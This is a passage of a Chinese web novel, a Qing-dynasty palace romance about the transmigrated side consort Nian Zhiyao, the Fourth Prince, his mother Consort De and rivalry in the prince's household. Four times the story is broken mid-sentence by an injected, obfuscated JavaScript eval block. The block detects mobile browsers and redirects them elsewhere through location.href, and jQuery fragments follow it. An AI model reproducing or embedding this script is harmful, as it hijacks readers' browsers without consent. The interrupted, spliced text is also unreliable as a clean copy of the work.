福晋想起钮祜禄氏谨小慎微的模样,点了点头,再与世无争的女人,为了阿哥,也会争的。
东院里
年芷瑶正惊讶地看着四爷,“去给娘娘请安?我一个人进宫吗。”
四爷望着她紧张的模样,不由笑道:“害怕吗。”
年芷瑶不好意思地笑笑,“是有一些。”
她虽是雍亲王府的侧福晋,但其实要不要进宫里拜见娘娘其实没有定数,不过既然四爷说让她去,那便是要去。
四爷:“别怕,娘娘不是个爱难为人的性子。”提到自己额娘,四爷的眼里闪过一丝情绪,“本来去不去都可,只是爷恰好要去给皇阿玛请安,也好谢过皇阿玛的赐婚。”
年芷瑶听了四爷的解释,有些明白了,是要在皇上面前刷存在感啊,虽说四爷现在明面上是什么都不争的状态,但也得让皇上记得有他这个儿子啊,不然真成像十三爷一般的透明人,那可真是没地哭去了。
她也是嫁了四爷之后才知道,如今的十三爷是真的不好过,日常生活全靠四爷接济,皇上不见他,内务府也当没有了这个皇阿哥,一应供奉都给停了,左右十三爷已遭皇上厌弃,还能去圣上面前告内务府今年没给他发分例不成。
今年连四季的衣裳都是四爷从府里的分例拨过去的,可见府里的日子有多难过,之前还只是听说,如今见了才觉得什么叫心惊胆战。
这就是皇权吗,年芷瑶不禁抖了抖。
她看向四爷:“有爷在,我不怕。”不论是年家,还是她,都已经赌上了自己的全部,只能进不能退了。
四爷碰了碰她的脸:“好姑娘。”
她借机蹭了蹭四爷的手腕,看他的眼神变得不对,急忙转身道:“爷,快吃饭吧,一会菜都凉了。”
四爷的眼睛暗了暗,压了压心中烧起来的火,想起活泼的年氏,也觉得自己莽撞,这么多年的养性功夫,竟然会被一个小女子轻易打破了。
用过午膳后,四爷没在东院消磨时间,而是起身去了前院。
苏培盛跟在屁股后面,只觉得爷今日走得越发的快,难不成前院有什么急事,他没听说啊。
看到四爷离去,年芷瑶舒了一口气,只觉得四爷轻易撩拨不得,这青天白日的,就想行不轨之事,他们在谈的明明是正事好不好。
她挥了挥手 让白芷带着人下去,“我去午睡,等一个时辰再叫醒我。”
白芷福身道:“是。”
采芙有些迟疑:“白芷姐姐,咱们让主子一个人在屋里,是不是不大好。”
白芷摆了摆手:“主子在家时就不喜欢别人打扰,我们在外面等着主子叫便好。”
采芙点了点头:“多谢白芷姐姐教我。”
白芷笑道:“你既伺候了主子,就是我们东院的人,不必这么客气。”
独自一人的年芷瑶正躺在床上查看灵泉,她的灵泉不大,周遭都是光秃秃的,只有一个不会干涸的小泉眼在中间,不断地往外冒着泉水的。
当时她刚发现自己有灵泉的时候大喜过望,本以为是什么修仙至宝,说不定能一举踏入修真旅途,后来发现灵泉并无他用,只能用来改善体质,好像只是为了弥补她身体的不足之症。
不过年芷瑶已经十分满足了,毕竟不是所有人都有重活一次的机会,还能后天拥有一个健康的身体。
她用杯子接了一杯灵泉水喝了下去,口感清甜冷冽,然后便美滋滋地午睡了。
只是在前院午睡的四爷心情却不怎么美丽,他起床抄了两遍金刚经。
在书房伺候的苏培盛更是小心谨慎,主子爷只有在心烦的时候才会抄经,只是不知何人要倒霉了。
因要进宫拜见娘娘,四爷特意派了一个嬷嬷来教她宫里的礼仪。
虽
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15135714|164425||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
说年芷瑶在家中也跟着教养嬷嬷学过,但教养嬷嬷毕竟已经出宫几年了,宫里的规矩也不知有没有变化,多学学也没什么不好的。
况且这也是四爷的贴心,对宫里多熟悉熟悉,就不会那么紧张了。
嬷嬷姓白,是四爷府里伺候的老人了,倒是十分规矩。
年芷瑶笑着让她起身:“辛苦嬷嬷了。”
白嬷嬷低头:“侧福晋客气了,能伺候侧福晋是奴才的福气。”
年芷瑶笑了笑,没把她的话当真,这嬷嬷是伺候四爷的,教过她一阵也就回去了,双方客客气气地全了这段教导之谊就好。
钮祜禄氏的院子里,春桃掀开帘子进门,刚想开口,就看到格格正在给四阿哥打扇子,她犹豫了片刻。
钮祜禄氏看她:“有什么事,说吧。”
春桃轻声道:“格格,奴婢听说四爷赏了年侧福晋一个嬷嬷,好像是在学宫里的规矩,您说这是为了什么啊。”
钮祜禄氏:“学宫里的规矩自然是要进宫才能用得上。”
春桃咋舌:“那侧福晋岂不是要进宫谢恩。”
钮祜禄氏打扇子的手停了停,“她是侧福晋,又得圣上赐婚,进宫谢恩也是应该的,不可多嘴。”
春桃福身:“是,奴婢妄言了。”
她脸上闪过一丝可惜,她们格格生了四阿哥,又是满族大姓,若是进府早,说不得也能被抬为侧福晋呢,不像现在,只能住在这小小的院子里。
钮祜禄氏看着四阿哥熟睡的小脸,抬手摸了摸。
四阿哥睁了睁眼:“额娘。”
钮祜禄氏语气温柔:“额娘在呢,快睡吧。”
不知是不是四爷自小没长在亲生额娘身边的缘故,故而对母子情分十分看重,府里的阿哥们都可以在自己额娘身边长到六岁,再搬进前院,是以她有如此福分,可以自己抚养阿哥。
对于如今正风头正盛的年侧福晋,钮祜禄氏现下不准备做什么,往后的日子还长着呢,别的不说,如今最感到威胁,应该是李侧福晋不是吗。
李氏也收到了消息,她愤恨地摔了茶盏:“凭什么那个年氏能进宫谢恩。”
琥珀劝道:“主子消消气,不过是进宫拜见娘娘,算不得什么,您可千万别冲动。”主子和四爷虽说还算有些情分,但这些年,主子的宠爱早已日渐稀薄。
若是为了这点小事闹到四爷面前,那这点情分可真是要消耗干净了。
李氏紧紧地捏住了手中的帕子。
5. 第 5 章
白芍欣喜地走了过来:“主子,衣服都做好了。”
年芷瑶挑眉:“这么快。”
白芍笑道:“是呢,主子爷赏的那批衣料送到针线房时,那里的嬷嬷别提多殷勤了,说会最先做咱们的,这不就送来了。”
白芷上前抚了抚衣料,笑道:“针线房的人手真巧,主子瞧这料子,做成衣服更好看了,明日进宫要不要穿这件。”
年芷瑶微微摇头:“找件新做的便可。”她是去拜见婆婆的,又不是进宫选妃的,穿得这么招摇做什么。
见她兴致缺缺,白芷也冷静了下来,“是奴婢考虑不周了。”
年芷瑶:“无妨,你做事素有分寸,院子里的那几个你看如何。”
白芷:“奴婢这几日看着,采芙和采蕖做事都算踏实,奴婢打听着,这两人都是内务府新分下来的,之前没伺候过旁人。”
年芷瑶点了点头:“日久见人心,院子里若是有什么事,不妨让她们做做看。”
白芷稳重地道:“是。”
“主子,您上次说的牛乳糖,小厨房已经做出来了,可要尝尝。”
年芷瑶来了兴趣:“呈上来吧。”
“是。”
前些日子她突然想吃牛轧糖了,想了想好像也不难做,就给小厨房说了大概的做法,让他们试着做出来,虽然没有棉花糖,但用麦芽糖也能做出来。
牛轧糖很快就被盛了上来,白色的糖衣里裹着满满的花生,看着就好吃,一起被端上来的还有瓜子酥,芝麻糖,琥珀糖,满满当当地摆了四个盘子。
年芷瑶拿起一块小厨房做的牛轧糖咬上一口,满嘴的牛乳香和花生的香味,味道果真不错。
她想了想,“一会拿些给前院送去。”前几日用膳时,她就发现了,四爷喜欢口味偏甜,不知道会不会喜欢这种糖。
对待四爷,年芷瑶用的是谈恋爱的心思,简单来说,就是什么好吃的好玩的都想着他,分享给他,只说好事,不谈坏事,两人的相处也算是越发和谐起来。
白芷笑道:“是,奴婢一定亲自交到苏公公手里。”
掐着午膳的点,苏培盛就来了东院,“奴才给侧福晋请安。”
年芷瑶:“苏公公快起,可是爷那边有什么吩咐。”
苏培盛笑道:“侧福晋放心,主子爷无事,只是让奴才送来一件东西。”
他拍了拍手,身后跟着他的小徒弟李德福走了上来,打开了手里的紫檀木盒子。
年芷瑶定睛一看,里面摆着一串鎏金点翠步摇,和两个翡翠蝴蝶钗,流光溢彩,好不耀眼。
白芷忍不住叹道:“真好看。”
苏培盛忍不住低头,能不好看吗,这可是主子爷特意挑的,不过既得了主子爷宠爱,那有好东西都不算稀奇。
年芷瑶:“多谢公公了。”
晚间,四爷来了东院。
“午时送来的首饰可喜欢。”
年芷瑶点头:“喜欢。”
四爷抚了抚她的发:“爷看你的首饰还是从家里带来的那些,就为你挑了两个,等见娘娘的时候正好戴上。”
年芷瑶靠在四爷身上:“爷对我可真好。”
四爷失笑:“傻丫头,不过是几件衣服首饰,就是对你好了,难不成年大人还苛责你不成。”
他说完后,又仔细看了看怀中的人,只见她面色红润,眉目舒展,怎么都不像是被苛责的,这才放下了心。
年芷瑶抱住四爷的腰晃了晃,“要紧的不是衣服首饰,是爷待我的心意,衣裳首饰府里每月都有分例,可爷却记着我没有什么,这份心意难道不值得珍惜吗。”她抬头冲他笑道。
四爷手指顿了顿,轻轻叹了一口气,揽过她道:“傻丫头。”
这般好的傻丫头,竟让他给得了,生平头一次,四爷觉得自己在这世上,其实也是有上几分幸运的。
第二日一早,天还未亮,年芷瑶就被白芷从床上拽了起来。
“主子醒醒,今日要进宫拜见娘娘呢。”
年芷瑶揉了揉眼睛:“爷呢。”
“主子爷已经起了,正在外间呢。”
白芷边说边取来热毛巾为她擦脸,年芷瑶一下子就清醒了,这丫头,越发能干了。
用过早膳,她便和四爷一同坐进了马车。
四爷拍了拍她的手:“到了宫里,爷要先去拜见皇阿玛,不必紧张,引路的小太监爷已经打点好了。”
年芷瑶点了点头:“爷放心。”
马车停在了宫门口,四爷扶年芷瑶下车,到了这儿他们就只能走进去了,除了紫禁城的主子们,谁也没有这份殊荣能在里面坐轿子。
四爷嘱咐她道,“等爷给皇阿玛请完安便去永和宫找你。”
年芷瑶冲四爷笑道:“好,我等着爷。”
一旁的小太监笑得客气:“侧福晋跟奴才走吧。”
年芷瑶递了一个荷包过去:“劳烦公公了。”虽说四爷交代已经打点好了,但礼多人不怪,出门在外,还是大方些好。
果然,小太监笑得越发真情实感,领着她在宫墙下行走,“这里人多,侧福晋慢些。”
年芷瑶看着周围来来往往的宫女太监,只觉得在这紫禁城之中,她和他们并没什么不同。
到了永和宫,德妃身边的嬷嬷出门迎她,“给侧福晋请安。”
年芷瑶连忙扶她:“嬷嬷客气了。”
“侧福晋请随奴婢来。”嬷嬷将她引到偏殿,笑道:“侧福晋先在这稍等片刻,奴婢这就去禀告娘娘。”
年芷瑶明白,这是给她时间整理仪容,免得面见娘娘时形容不雅,宫里果然都是人精啊。
过了一刻钟,年芷瑶终于踏入了永和宫的正门,刚一进门,她便行了礼,“儿臣给额娘请安。”
而后一道优雅的女声传来:“起吧,赐座。”
年芷瑶抬头:“多谢额娘。”
虽说有了座位,可年芷瑶也没敢坐实,只敢坐了椅子的三分之一,方便随时起身回话,这也是嬷嬷教的规矩。
德妃看了看年芷瑶,笑道:“真是个美人,老四倒是有福气。”
年芷瑶听到德妃夸她,微微抬头,本想说些自谦的话,却一时愣在了原地,都说岁月不败美人,见了德妃她才明白这话原来是真的,德妃坐在上首,虽能看出眼前的女人有了年纪,但温婉的气质,姣好的容貌,都在为她诉说,年轻时,她是多么令人惊艳的美人。
德妃见儿子新娶的侧福晋在底下明目张胆地发呆,挑了挑眉道:“想什么呢。”
年芷瑶想了想,决定实话实说,“儿臣在想怪不得四爷长得如此好看,今日一见娘娘才明白,原来四爷是随了娘娘。”
女人不论什么年纪都喜欢被人夸赞,尤其是这般不露痕迹地夸她好看,德妃眼里泛起笑意:“你这孩子,嘴倒是甜得很,怪不得老四喜欢你呢。”
年芷瑶:“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15135715|164425||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
娘娘明鉴,儿臣可不敢有半句妄言。”
没有妄言,就是说都是肺腑之言喽,德妃隔空点了点她,真是个小滑头,老四日后和这丫头可有地磨了。
德妃身边的福嬷嬷有些惊讶,给娘娘请安的福晋侧福晋们不知道有多少,可像这位年侧福晋这般能如此自在和娘娘说话的,几乎没有。
年芷瑶在永和宫用了两块点心,换了两盏茶,四爷都没有过来,她看了看天色,心道,若是四爷再不回来她都要留在永和宫这用午膳了。
德妃看了看她的神色:“放心,老四不会把你忘了的。”
年芷瑶接话道:“若是能一直留在这里陪娘娘,每日喝茶吃点心,不回府里也是可以的。”
德妃不禁笑了起来:“这丫头,你想留在这陪我,我还不愿意的,快去催催,看看老四到哪了,让他赶紧把他的侧福晋带走。”
等四爷走到永和宫,便听到了屋里传来的额娘笑声,他不禁疑惑,额娘什么时候这般笑过,是因为年氏吗。
他快步进屋,行礼道:“儿臣给额娘请安。”
见了儿子,德妃脸上的笑容莫名地淡了一些,变得端庄正式起来,“快起,累了吧。”
她看向福嬷嬷:“快上些茶水点心来。”
四爷:“劳烦额娘了,儿臣不累。”
年芷瑶见了不禁称奇,这对亲母子,未免太客气了一些吧,怎么感觉四爷在德妃面前还没她自在呢。
坐上回府的马车后,四爷才开口问她,刚才和娘娘聊了什么。
年芷瑶:“我说爷长得像额娘,额娘便笑了。”
四爷愣了愣。
年芷瑶看了看他:“爷,我是不是说错话了。”
四爷摇头,“并非。”
他顿了顿,“只是头一次,爷听见别人说我与额娘相像。”
年芷瑶有些沉默,对于早些年的事她也听说过,四爷生下来后就被孝懿皇后抱走抚养,这些年德妃从宫女晋为贵人,又从贵人晋为嫔,最后成了德妃。
后来孝懿皇后去了,四爷又回到了永和宫,只是那时德妃已经有了十四阿哥,比起刚刚出生的小儿子,对于自幼被抱走的大儿子的关注自然少了。
想必四爷也经历过吧,年幼时对自己身份的质疑。
一时之间,两人谁都没有先说话。
四爷仿佛知道她在想什么,反而安慰起她来:“都是过去的事了。”
年芷瑶握住了四爷的手,“爷现在有我呢。”
童年的伤痛有多难抹消她最是知道,年幼时她父母离婚,谁都不想要她,把她扔给了乡下的爷爷,可爷爷有最爱的孙子,有心爱的女儿,她这个不被重视的孙女只能像是废弃品一样丢在一旁。
她一直都想有一个属于自己的家,所以才会在毕业之后那么努力地工作,想要付首付,谁知却猝死了工位上,她微微叹了一口气,
四爷反握住她的手:“是呢,爷还有瑶儿。”
永和宫
福嬷嬷替德妃换了盏茶,“这位年侧福晋倒是和旁人不同。”
德妃笑道:“这孩子倒是鲜活,老四身边有她,我也能放心些。”
福嬷嬷心中了然,娘娘这是喜欢这姑娘,她最是知道娘娘的心结,便劝道:“亲母子之间哪来的隔夜仇,四爷会明白娘娘的不得已的。”
德妃叹了口气,“但愿吧。”她的不得已,只怕在老四看来只是她丢下他的借口罢了。
6. 第 6 章
从永和宫回来后,年芷瑶感觉和四爷的关系好似又亲近了一些,虽没有明说,但两人之间的相处是骗不了人的,尤其是对于身边的人。
白芍都说最近苏培盛对她越发客气了,客气的她都有些害怕,生怕哪天就被主子爷身边的第一大公公给卖了,惹得白芷笑了她半天。
白芷道:“这都是因着咱们主子得主子爷的宠,你可别狂。”
白芍道:“我哪敢啊。”能当主子爷身边的大太监那得是什么人精,她算哪根葱啊,也敢仗着主子的势给他脸色看。
年芷瑶看着两人笑了笑。
今天是十五,又是请安的日子,年芷瑶一大早就从床上爬起来,自然是满腹怨气,她轻轻瞪了四爷一眼。
四爷被她一看,脸色微顿,说道:“要不你再睡会,爷派人去正院说一声。”
年芷瑶无奈道:“我的爷,您可饶了我吧,我起床还不行吗。”让四爷去福晋院子里说她今早不去请安了,因为她昨夜太辛苦?
那后院的女人得把她恨成什么样啊,占着四爷也就罢了,还挑衅到人家眼前了,要换作是她,她也忍不了。
四爷笑着摸了摸她的发:“晚上爷再过来。”
年芷瑶无力地挥别了四爷,算好时间来了正院,正好比李氏稍晚一步到。
看见她来,几位格格起身,“给侧福晋请安。”
年芷瑶摆了摆手:“起吧。”
然后给李氏到了个平礼,“姐姐来得倒是早。”
李氏皮笑肉不笑:“姐姐不比妹妹伺候爷辛苦,自然要早些来给福晋请安。”
年芷瑶没理会李氏的阴阳怪气,主要是她现在一听辛苦二字就想笑,毕竟这人差点只能咬牙赞她辛苦了。
她闻了闻福晋这儿的茶,是新下的西湖龙井,倒是好茶。
身旁的耿氏开口道:“不知侧福晋帕子上绣的是什么花,妹妹还从没见过呢。”
年芷瑶笑了笑,“是嘛,这上面绣的是金盏花,是我院子里的采蕖绣的,妹妹若是喜欢,我回头让人把花样子给你送去。”
耿氏模样娇俏,说话也伶俐,在后院众人中算得上话多的了,但却极有分寸,从不会逾矩,她倒是不讨厌耿氏。
耿氏欣喜道:“那就多谢侧福晋了。”
一旁的李氏脸色难看,“耿妹妹,一个帕子算什么,年妹妹身上的衣料才是难得,听说是进贡之物,府里一共也没得几匹,都被爷赏给年妹妹了,你要东西,也该要贵重些的。”
耿氏的笑容淡了淡,只觉得李侧福晋太过烦人,她能不知道年侧福晋的料子是爷赏的吗,只是不想显得太过献媚讨好才谈起手帕,李侧福晋年轻时还能凭借长相孩子得宠,如今确实越来越刻薄了,怪不得爷对她的宠爱越发淡薄。
年芷瑶抚了抚衣袖:“李姐姐若是喜欢,合该早说便是,妹妹也好留下几匹送给姐姐,如今这衣裳都做好了,只怕姐姐穿着不合适,不过爷也说了,不过是些料子,不值得什么,李姐姐何必这么含沙射影的,若是想要,妹妹替姐姐向爷开口便是。”
李氏拍桌而起:“你。”
“吵什么呢。”福晋走了出来,看了李氏一眼,“李氏,你也是府里的老人了,如此吵吵闹闹的像什么样子,若是让外人知道了,不定会传出什么闲话呢。”
李氏暗恨,可如今到底是在福晋的正院,她只能低头道:“福晋教导的是。”
年芷瑶看着出来的不早不晚的福晋,低头笑了笑。
福晋看了看众人,开口说道:“再过几日便是端午,爷虽不喜奢靡,但也不能太过俭省,到时府里会举办家宴,还望各位妹妹出席。”
“是。”
福晋:“行了,我这也没什么事,都回去吧。”
众人起身告退。
李氏回到院子后便发了火,“她算什么东西,也敢这么和我说话,我获封侧福晋的时候她还不知道在哪呢。”
琥珀跪倒在地:“主子息怒。”
李氏将茶杯扔了出去:“息什么怒,自打那年氏进府之后,爷就再也没来过我的院子,如今她就敢出言讥讽于我,等她生下了孩子,还不定狂成什么样呢。”
琥珀劝道:“主子宽心,那年侧福晋即便现在就怀孕生子,那也与咱们三阿哥差着岁数呢,三阿哥翻过年就十岁了,再过两年就该找宫女教导人事了。”
她低声道:“况且咱们三阿哥是主子爷的长子,如今又在宫里读书,王府世子的位置非三阿哥莫属啊。”
想到儿子,李氏冷静了下来:“是呢,世子之位若不给我的弘时,难道给那个牙牙学语的四阿哥,五阿哥吗。”年氏那个没影的孩子更没有任何指望。
见主子不再打骂,琥珀舒了一口气,主子进府后就一路顺风顺水的,年轻时便凭借容貌得宠于四爷,生下不少孩子,故而性子越发骄纵,后来主子逐渐失宠,脾气更是越发不好起来。
她揉了揉肩膀,轻轻退了下去,同屋的玛瑙看她脸色不对,问道:“主子又打你了。”
琥珀按住衣袖:“不妨事,主子心情不好,过上两天便好了。”
玛瑙心疼地擦了擦泪,“主子心情不好,就该打骂我们出气吗,谁不是爹生娘养的,难道我们做奴才的,命就比旁人更贱吗。”
琥珀看她:“噤声。”
玛瑙不说话了。
年芷瑶回了东院,就看到白芍端了一盘子樱桃过来。
她惊讶道:“哪来的樱桃。”如今还不到五月,樱桃成熟应该是下个月才对。
白芍笑道:“这是刚才苏公公送来的,说是南边下来的最早一批樱桃,今早
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15135716|164425||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
府里刚收到,爷就让送到咱们院子了。”
年芷瑶拎起樱桃看了看,个头不是很大,但每个都红彤彤的,看着就喜人。
四爷一进来,就看到桌子上摆着洗好的樱桃,笑道:“怎么没吃,不喜欢?”他记得瑶儿之前说过自己爱吃,他才特意让人才采买的。
年芷瑶笑道:“喜欢,想等爷回来一起吃。”她过去牵住四爷的手:“我怕我先吃了,爷就吃不着了。”
四爷拍了拍她的头:“放心吃便是,樱桃有的是。”
用过晚膳,四爷搂着她躺在贵妃榻上,年芷瑶发现和四爷在一起,很容易坐着坐着就躺下了。
还好这个贵妃榻够大,能够装得下他们两个人,她有一下没一下地玩着四爷衣服上的纽扣。
四爷捉住了她的手:“又胡闹。”
年芷瑶笑:“爷,这算不算是不务正业啊。”她听采芙说,之前四爷也不爱在后院待着,如今在她这倒成了特例。
好像前院都没什么事一样,她都开始怀疑是不是这段时间的四爷赋闲在家太久了,故而登基后才会越发勤政的。
四爷笑道:“这算什么不务正业。”不过是后院待上几天罢了,说不定皇阿玛看他这样,还能更放心些呢,他的笑容淡了淡。
“左右现在也没什么事,等过些日子,爷带你去圆明园玩一玩。”
年芷瑶的眼睛亮了起来,“真的吗。”
四爷捏了捏她的脸:“爷还会骗你不成,怎么开心成这样,年大人没带你出过门吗。”不应该啊,亮工曾和他提过,说他这个妹妹在家中最得宠爱,即便是他,也得避让妹妹三分,想起当时亮工谈论妹妹时引以为傲的笑容,四爷只觉得缘分当真是妙不可言。
年芷瑶握住他的手:“一般的园子怎么能和圆明园比,那可是皇上赏的园子,一定很好看。”那可是圆明园啊,没想到穿越一遭,她还能见识一番真实存在着的天下第一园。
四爷失笑,是啊,因为是皇上赏的,即便是普通的也是好的。
他问道:“会骑马吗。”
年芷瑶摇头:“不太会。”她想了想道:“小时候我的身体不是很好,额娘十分担心,长大后身体好些了,额娘也不准我学骑马。”
四爷听了,起身看她,“怎么会身子不好。”
年芷瑶看他担心,拉过他的手:“爷,这都是小时候的事了,如今我身体早已大好了。”她在四爷面前转了一圈,“爷你看看,现在不是好得很嘛。”
四爷一把抱起了她,然后掂了掂,“等明日让李大夫过来给你看看。”
李大夫是四爷养在府里的大夫,年芷瑶听采芙说起过,说李大夫最擅长小儿妇科,很得四爷信任。
年芷瑶看劝不动他,只能答应道:“好吧。”就当作个体检好了。
7. 第 7 章
四爷的效率非常高,年芷瑶刚用过早膳,白芷就来传话说苏培盛带着李大夫过来了。
年芷瑶点头:“让他们进来吧。”
李大夫看起来经验颇丰,他捋了一下胡子,十分仔细地替她把脉。
“侧福晋脉象平稳有力,身子十分康健。”
他微微舒了一口气,放松下来,今儿个一早,他就被四爷身边苏公公喊了过来,说是要替新进府的年侧福晋把脉,他还以为是这位侧福晋身子出了什么状况呢,若是涉及到后院阴司,只怕他也跟着遭殃啊,还好什么事都没有。
年芷瑶笑了笑,看向苏培盛,“行了,快去给你们爷回话去吧。”
“唉。”苏培盛赔着笑,“那奴才就先告退。”他利索地打了一个千儿。
主子爷晨起可是嘱咐过他,有什么消息就立刻给回禀,若不是今早顾俨大人突然来了,和四爷有事相商,爷实在抽不开空,不然早就亲自过来看着呢。
他伺候主子爷这么多年,要论对这位年侧福晋的心意,可真是独一无二呢。
正院
福晋正在小佛堂抄写经书,“今日可是三阿哥回府的日子。”
赵嬷嬷:“是呢,还是福晋记得清楚。”
福晋搁下笔,“三阿哥每日读书也实在辛苦,今日回来,四爷也该去看看三阿哥了。”
四爷一向疼爱孩子,每每三阿哥回府的时候,即便再忙,也会抽空考校三阿哥的功课,只是自从上次三阿哥被四爷斥责不用功后,四爷就再没进过李氏的院子。
赵嬷嬷扶着福晋起身,“福晋说的是。”
只是三阿哥着实是不争气,若是她们大阿哥还在,定不会让爷如此失望。
屋外的牡丹掀开帘子进来,神情有些激动:“福晋,四爷过来了。”
说完,四爷就大步走了进来。
福晋行礼道:“爷。”
四爷挥了挥手让她起身,坐到了八仙桌旁,一旁的牡丹连忙上了热茶。
“快到端午了,我寻一块上好的玉牌准备送给娘娘,到时你盯着些。”四爷端起茶道。
福晋答应下来:“是,那万岁那边呢。”
每到年节,送礼之事便成了府上的一大难题,宫里皇上娘娘什么好东西没见过,送得再贵重稀奇也只是平常,可若是不用心准备也是不行,说不得一个不孝的帽子就被人安了下来。
四爷:“皇阿玛那里爷来准备。”
福晋点头称是。
等四爷说过正事,福晋开口道:“爷,今年端午的家宴我想办得热闹一些,正好今年是年妹妹头一年进府,三阿哥也常年不在府里,与两位弟弟也不怎么熟悉,借此热闹一番也好的。”
四爷沉吟,“福晋做主便可。”
福晋低头:“是。”
而后是半晌沉默,一旁的赵嬷嬷有些着急,都这个时辰了,福晋您倒是留爷用膳啊。
可直到四爷起身离去,福晋愣是没有开口。
看着四爷从正院离开,赵嬷嬷跺了跺脚:“福晋,您倒是留一留四爷啊。”
福晋收回视线:“我开口,四爷便会留下吗。”
赵嬷嬷无奈,她的福晋呦,四爷就算一次不留,两次不留,三次四次还会不留吗,她想劝劝福晋,在四爷面前软软性子,却知道福晋不会听她的。
她叹了口气,自从没了大阿哥之后,四爷和福晋连往日的表面情分都快维持不住了,四爷也只会在聊正事的时候才会来正院这。
其实在年侧福晋没进府之前,四爷已经不大爱踏足后院了,想必正因如此,皇上才会下旨赐婚的吧。
没有理会赵嬷嬷的担忧,福晋抬头看了看天色,四爷今日应该会去李氏那用午膳吧。
西院,李氏正忙着张罗:“今儿个是弘时回来的日子,可让膳房备下了炖肉。”
琥珀道:“主子放心,三阿哥爱吃的菜一早就交代膳房备下了,不会有差错的。”
三阿哥是四爷府里唯一长到读书年龄的儿子,又是长子,故而从六岁起,便一直跟着其余府里的皇孙在宫里上书房念书,万岁规定皇孙们每十日可回府里休息两日,是以李氏已经有十天没见三阿哥了。
李氏点头:“弘时每次从宫里回来都说饿,还是皇宫呢,竟不让孩子吃饱。”
宫里规矩严,阿哥们每顿能吃多少肉都是有定数的,就怕吃多了坏了小主子的胃口,可是半大小子吃穷老子,三阿哥这般年纪正是能吃的时候,在宫里连肉都吃不尽兴,回府可不就得喊饿吗。
三阿哥一院子,就直奔李氏冲了过来:“额娘。”
李氏激动道:“额娘的弘时,到额娘身边来。”许久未见,李氏仔仔细细地打量自己的儿子,“在宫里过的可好。”
弘时皱眉:“宫里一点都不好,额娘,我可不可以不去宫里读书啊。”
李氏拍了拍他,“说什么胡话呢,你要在宫里好好结交其他府里的阿哥,认真读书,得到皇上的喜欢才是。”
看着弘时漫不经心的样子,李氏就气闷,她抱怨道:“你是不知道,那新进府的年氏狂妄不羁,平日里处处和额娘作对,你阿玛都快被那个狐媚子迷跑了,你要是再不争气,这府里就没有我的容身之地了,额娘如今只能指望你了。”
三阿哥仰头冷哼,“她算什么,也敢给额娘气受,额娘等着,儿子定要在阿玛面前告她的状。”
三阿哥心里颇为自傲,尤其是府里众人都捧着他,连素来与额娘不合的嫡额娘对他都是客客气气的,在他看来,他既然是阿玛的长子,那就是王府未来的主人,谁敢给他额娘气受,就是不把他放在眼里。
李氏还算有些脑子,知道儿子若是在四爷面前说年氏的不好,定会让他更生气,她道:“这都是后院的事,你别跟着掺和,你只要好好用功,得到你阿玛的喜欢,日后这府里还都是你的,还怕没有年氏低头的那天吗。”
三阿哥不耐烦地摆了摆手,“我知道了额娘,等来日儿子成了世子,定会为你撑腰的。”
“午膳还没好吗,我都饿了。”
门外的四爷沉下
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15135717|164425||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了脸,他还没死呢,他的儿子就惦记上王府了,一个王府世子的位置,也值得两人谋划半天,他简直是怒火中烧,但凡弘时有点野心,往上看看,他都不至于那么生气。
李氏平日里就是这样教阿哥的。
一旁的苏培盛简直要把头低到了地上,恨不得求一对什么都没听到的耳朵,早知道李侧福晋的胆子如此之大,他说什么今天都得告病,让张麒麟过来伺候,也省得那人天天在他跟前碍眼。
想到近日越发得主子爷看重的张麒麟,苏培盛简直要把后槽牙都咬碎了。
东院,年芷瑶看着怒气冲冲进来的四爷,惊讶地道:“爷。”你怎么来了。
白芷刚过来说过,看着四爷往李氏院子的方向去了,想必是去看三阿哥的,怎么如今看着像是气着了,是三阿哥又看闲书了?
四爷一股脑地坐在了椅子上,他也不知道自己怎么过来了,只是出了李氏的院子,他下意识地就往这边走了过来。
苏培盛噤若寒蝉。
一旁的白芷也吓得不行,年芷瑶连忙把她支了出去,免得出了错被四爷训斥就不好了。
“小厨房今儿个不是新做了酸奶吗,去拿两碗过来。”
白芷低头:“是。”
